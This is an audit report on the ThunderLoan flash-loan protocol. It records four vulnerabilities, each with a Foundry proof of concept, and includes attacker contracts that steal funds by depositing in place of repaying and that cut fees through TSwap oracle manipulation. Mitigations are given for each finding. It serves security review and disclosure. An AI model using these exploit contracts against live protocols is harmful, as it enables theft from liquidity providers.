



# ThunderLoan Protocol Audit Report

Version 1.0

*mafa*

November 3, 2025

# ThunderLoan Protocol Audit Report

mafa

November 3, 2025

Prepared by: mafa

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - \* [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly set the exchange rate.
    - \* [H-2] A user can call the `deposit` function instead of the `repay` function to steal funds.
    - \* [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

- Medium
  - \* [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

## Protocol Summary

ThunderLoan is a decentralized protocol that allows users to take flash loans—borrowing assets for a single transaction that must be repaid along with a small fee—or liquidity providers to deposit assets and receive AssetTokens that accrue interest based on flash loan usage, with fees calculated via the on-chain TSwap price oracle.

## Disclaimer

The mafa team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
		H	H/M	M
Likelihood	High			
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

### Scope

```
1 #-- interfaces
2 |   #-- IFlashLoanReceiver.sol
3 |   #-- IPoolFactory.sol
4 |   #-- ITswapPool.sol
5 |   #-- IThunderLoan.sol
6 #-- protocol
7 |   #-- AssetToken.sol
8 |   #-- OracleUpgradeable.sol
9 |   #-- ThunderLoan.sol
10 #-- upgradedProtocol
11     #-- ThunderLoanUpgraded.sol
```

## Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
- 

## Executive Summary

### Issues found

Severity	Number of issues found
High	3
Medium	1
Total	4

## Findings

### High

**[H-1] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly set the exchange rate.**

**Description:** In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. It's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, update the rate without collecting any fees! This update should be removed.

```

1   function deposit(IERC20 token, uint256 amount) external
2       revertIfZero(amount) revertIfNotAllowedToken(token) {
3       AssetToken assetToken = s_tokenToAssetToken[token];
4       uint256 exchangeRate = assetToken.getExchangeRate();
5       uint256 mintAmount = (amount * assetToken.
6           EXCHANGE_RATE_PRECISION()) / exchangeRate;
7       emit Deposit(msg.sender, token, amount);
8       assetToken.mint(msg.sender, mintAmount);
9
10      @> uint256 calculatedFee = getCalculatedFee(token, amount);
11      @> assetToken.updateExchangeRate(calculatedFee);
12      token.safeTransferFrom(msg.sender, address(assetToken), amount)
13          ;
14  }
```

**Impact:** There are several impacts to this bug. 1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has. 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

**Proof of Concept:** 1. LP deposits 2. User takes out a flash Loan 3. It is now impossible for LP to redeem.

### Proof of Code

place the following into `ThunderLoanTest.t.sol`

```

1   function testRedeemAfterLoan() public setAllowedToken hasDeposits{
2       // do one time flashloan and check balance
3       uint256 amountToBorrow = AMOUNT * 10;
4       uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
5           amountToBorrow);
6       vm.startPrank(user);
```

```

6      tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7      thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
8          amountToBorrow, "");
9      vm.stopPrank();
10     uint256 amountToRedeem = type(uint256).max;
11     vm.startPrank(liquidityProvider);
12     thunderLoan.redeem(tokenA, amountToRedeem);
13     vm.stopPrank();
14 }
```

**Recommended Mitigation:** Remove the incorrectly updated exchange rate lines from deposit()

```

1  function deposit(IERC20 token, uint256 amount) external
2      revertIfZero(amount) revertIfNotAllowedToken(token) {
3      AssetToken assetToken = s_tokenToAssetToken[token];
4      uint256 exchangeRate = assetToken.getExchangeRate();
5
6      uint256 mintAmount = (amount * assetToken.
7          EXCHANGE_RATE_PRECISION()) / exchangeRate;
8      emit Deposit(msg.sender, token, amount);
9      assetToken.mint(msg.sender, mintAmount);
10
11     - uint256 calculatedFee = getCalculatedFee(token, amount);
12     - assetToken.updateExchangeRate(calculatedFee);
13 }
```

## [H-2] A user can call the deposit function instead of the repay function to steal funds.

**Description:** The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating `endingBalance` using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the `Asset` contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

**Impact:** An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

**Proof of Concept:** 1. place the function `testUserDepositeInsteadOfRepayToStealFunds()` into `ThunderLoanTest.t.sol`. 2. place the contract `DepositeOverRepay` into `ThunderLoanTest.t.sol`. Attacker takes a `50e18` flash loan. In the flash-loan callback the attacker calls `deposit(50e18 + fee)` which the protocol accepts and treats as both crediting the attacker's withdrawable balance and effectively settling the loan. The attacker then calls `redeem` to remove those credited funds, allowing them to extract the borrowed assets despite the repayment flow — netting a loss to the protocol.

### Proof of Code

```
function testUserDepositeInsteadOfRepayToStealFunds()
```

```
1   function testUserDepositeInsteadOfRepayToStealFunds()
2       setAllowedToken hasDeposits public{
3           vm.startPrank(user);
4           uint256 amoutToBorrow = 50e18;
5           uint256 fee = thunderLoan.getCalculatedFee(IERC20(tokenA),
6               amoutToBorrow);
7           DepositeOverRepay dor = new DepositeOverRepay(address(
8               thunderLoan));
9           tokenA.mint(address(dor),fee);
10          thunderLoan.flashloan(address(dor), tokenA, amoutToBorrow, "");
11          dor.redeemMoney();
12          vm.stopPrank();
13          assert(tokenA.balanceOf(address(dor))> 50e18 + fee);
14      }
```

```
contract DepositeOverRepay
```

```
1
2 contract DepositeOverRepay is IFlashLoanReceiver {
3
4     ThunderLoan thunderLoan;
5     AssetToken assetToken;
6     IERC20 s_token;
7     constructor(address _thunderLoan) {
8         thunderLoan = ThunderLoan (_thunderLoan);
9     }
10
11    function executeOperation(
12        address token,
13        uint256 amount,
14        uint256 fee,
15        address initiator,
16        bytes calldata params
17    )
18        external
19        returns (bool)
```

```

20      {
21          s_token = IERC20(token);
22          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
23          IERC20(token).approve(address(thunderLoan), amount+fee);
24          thunderLoan.deposit(IERC20(token),amount+fee);
25          return true;
26      }
27
28      function redeemMoney() public {
29          uint256 amount = assetToken.balanceOf(address(this));
30          thunderLoan.redeem(s_token, amount);
31      }
32  }
33 }
```

**Recommended Mitigation:** Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan.

```

1      function deposit(IERC20 token, uint256 amount) external
2          revertIfZero(amount) revertIfNotAllowedToken(token) {
3              if(s_currentlyFlashLoaning[token]) {revert("currently in flash
4                  loaning")}
5                  AssetToken assetToken = s_tokenToAssetToken[token];
6                  uint256 exchangeRate = assetToken.getExchangeRate();
7                  ...
8  }
```

### [H-3] Mixing up variable location causes storage collisions in ThunderLoan::s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning, freezing protocol

**Description:** `ThunderLoan.sol` has two variable in the following order:

```

1      uint256 private s_feePrecision;
2      uint256 private s_flashLoanFee;
```

However, the updraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```

1      uint256 private s_flashLoanFee;
2      uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. you cannot adjust the posotion of storage variables, and removing storage variable for constant varoables,breaks the storage location as well.

**Impact:** After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. More importtantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

**Proof of Concept:**

Proof of Code

place the following into `ThunderLoanTest.t.sol`

```

1 import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
  ThunderLoanUpgraded.sol";
2
3 function testUpgradeBreaks () public {
4     uint256 feeBeforeUpgrade = thunderLoan.getFee();
5     vm.startPrank(thunderLoan.owner());
6     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
7     thunderLoan.upgradeToAndCall(address(upgraded), "");
8     uint256 feeAfterUpgrade = thunderLoan.getFee();
9     vm.stopPrank();
10    console2.log("fee Before Upgrade", feeBeforeUpgrade);
11    console2.log("fee After Upgrade", feeAfterUpgrade);
12
13    assert(feeBeforeUpgrade != feeAfterUpgrade);
14 }
```

you can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

**Recommended Mitigation:** If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```

1 - uint256 private s_flashLoanFee;
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

**Medium****[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks**

**Description:** The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

**Impact:** Liquidity providers will drastically reduce fees for providing liquidity

**Proof of Concept:**

The following all happens in 1 transaction.

1. The attacking contract `MaliciousFlashLoanReceiver` takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee `fee1`. During the flash loan, they do the following:
  1. User sells 1000 tokenA, tanking the price.
  2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA. Due to the fact that the way ThunderLoan calculates price based on the TSwapPool this second flash loan is substantially cheaper.
  3. The user then repays the first flash loan, and then repays the second flash loan.

```

1   function getPriceInWeth(address token) public view returns (uint256
2     ) {
3       address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
4         token);
5     @> return ITswapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
6     ();
7   }

```

Place the following into `ThunderLoanTest.t.sol`

#### Proof Of Code

#### The attack contract `MaliciousFlashLoanReceiver`

```

1 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2   // 1. swap TokenA borrowed for WETH
3   //2. Take out Another flash loan, to show the difference
4
5   ThunderLoan thunderLoan;
6   address repayAddress;
7   BuffMockTswap tswapPool;
8   bool attacked;
9   uint256 public feeOne;
10  uint256 public feeTwo;
11
12
13  constructor(address _tswapPool, address _thunderLoan, address
14    _repayAddress) {
15    tswapPool = BuffMockTswap(_tswapPool);
16    thunderLoan = ThunderLoan (_thunderLoan);
17    repayAddress = _repayAddress;
18  }
19
20  function executeOperation(
21    address token,
22    uint256 amount,
23    uint256 fee,
24    address initiator,
25    bytes calldata params

```

```

25     )
26     external
27     returns (bool)
28 {
29     if(!attacked) {
30         // 1. swap TokenA borrowed for WETH
31         // 2. Take out Another flash loan, to show the difference
32         feeOne = fee;
33         attacked = true;
34         uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
35             50e18, //50 TokenA
36             100e18, //100 WETH in pool now
37             100e18 //100 TokenA in pool now
38         );
39         IERC20(token).approve(address(tswapPool), 50e18);
40         // Tank the price
41         tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
42             wethBought,block.timestamp);
43         // we call a second flash loan from the falshLoan contract !!!
44         thunderLoan.flashloan(address(this),IERC20(token), amount, " ");
45         //repay
46         // it is not working inside a flashloan to call repay because
47         // will revert
48         // IERC20(token).approve(address(thunderLoan), amount+fee); //
49         // here amont is 50e18, amount to borrow from the test
50         // thunderLoan.repay(IERC20(token), amount+fee);
51         IERC20(token).transfer(address(repayAddress), amount+fee);
52
53     }else{
54         //calculate the fee
55         feeTwo=fee;
56         //repay
57         // IERC20(token).approve(address(thunderLoan), amount+fee);
58         // thunderLoan.repay(IERC20(token), amount+fee);
59         IERC20(token).transfer(address(repayAddress), amount+fee);
60     }
61 }
62 }
```

```

1 function testOrcaleManipulation() public {
2     //1. set up contract, use BuffMockTSwap, the test used
3     // MockTSwapPool is not good
4     thunderLoan = new ThunderLoan();
5     tokenA = new ERC20Mock();
6     proxy = new ERC1967Proxy(address(thunderLoan), " ");
7     BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
        address(weth));
8     // Create a TSwap Dex between WETH and tokenA
```

```

8     address tswapPool = poolFactory.createPool(address(tokenA));
9     thunderLoan = ThunderLoan(address(proxy));
10    thunderLoan.initialize(address(poolFactory));
11
12    //2. FundTSwap
13    vm.startPrank(liquidityProvider);
14    tokenA.mint(liquidityProvider, 100e18);
15    weth.mint(liquidityProvider, 100e18);
16    tokenA.approve(address(tswapPool), 100e18);
17    weth.approve(address(tswapPool), 100e18);
18    //ratio 100 WETH & 100 tokenA, price 1:1
19    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
20    vm.stopPrank();
21
22    //3. Fund ThunderLoan
23    vm.prank(thunderLoan.owner());
24    thunderLoan.setAllowedToken(tokenA, true);
25    vm.startPrank(liquidityProvider);
26    tokenA.mint(liquidityProvider, 1000e18);
27    tokenA.approve(address(thunderLoan), 1000e18);
28    thunderLoan.deposit(tokenA, 1000e18);
29    vm.stopPrank();
30    // Now it has 100 WETH and 100 TokenA in TSwap
31    // 1000 Token A in flashLoan to be borrowed from
32    // take out a flashLoan of 50 tokenA
33    // swap it on the dex, tanking the price
34    // take out an another flash loan of 50 TokenA(and we will see
35    // how much cheaper it is )
36
37    //4. we are going to take out 2 flash loan
38    //      a. To nuke the price of the Weth/tokenA on TSwap
39    //      b. To show that doing so greatly reduces the fees we pay
40    //          on ThunderLoan
41    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
42    100e18);
43    console2.log("normal Fee Cost:", normalFeeCost);
44    // 296147410319118389
45
46    uint256 amountToBorrow = 50e18; // two times flashLoan
47    MaliciousFlashLoanReceiver mflr = new
48    MaliciousFlashLoanReceiver(
49    address(tswapPool),address(thunderLoan),
50    address(thunderLoan.getAssetFromToken(tokenA)));
51
52    vm.startPrank(user);
53    // mint attack contract some to cover the Fee
54    tokenA.mint(address(mflr), 100e18);
55    thunderLoan.flashloan(address(mflr), tokenA, amountToBorrow, "");
56    vm.stopPrank();

```

```
53     uint256 attackFee = mflr.feeOne() + mflr.feeTwo();
54     console2.log("attack Fee", attackFee);
55     assert(attackFee < normalFeeCost);
56     // 214167600932190305
57 }
58 }
```

run

```
1 forge test --mt testOrcaleManipulation -vvvv
```

result:

```
1 [PASS] testOrcaleManipulation() (gas: 14219319)
2 Logs:
3   normal Fee Cost: 296147410319118389
4   attack Fee 214167600932190305
```

**Recommended Mitigation:** Consider using a different price orcale mechanism, like a Chainlink price feed with a UniswapTWAP fallback oracle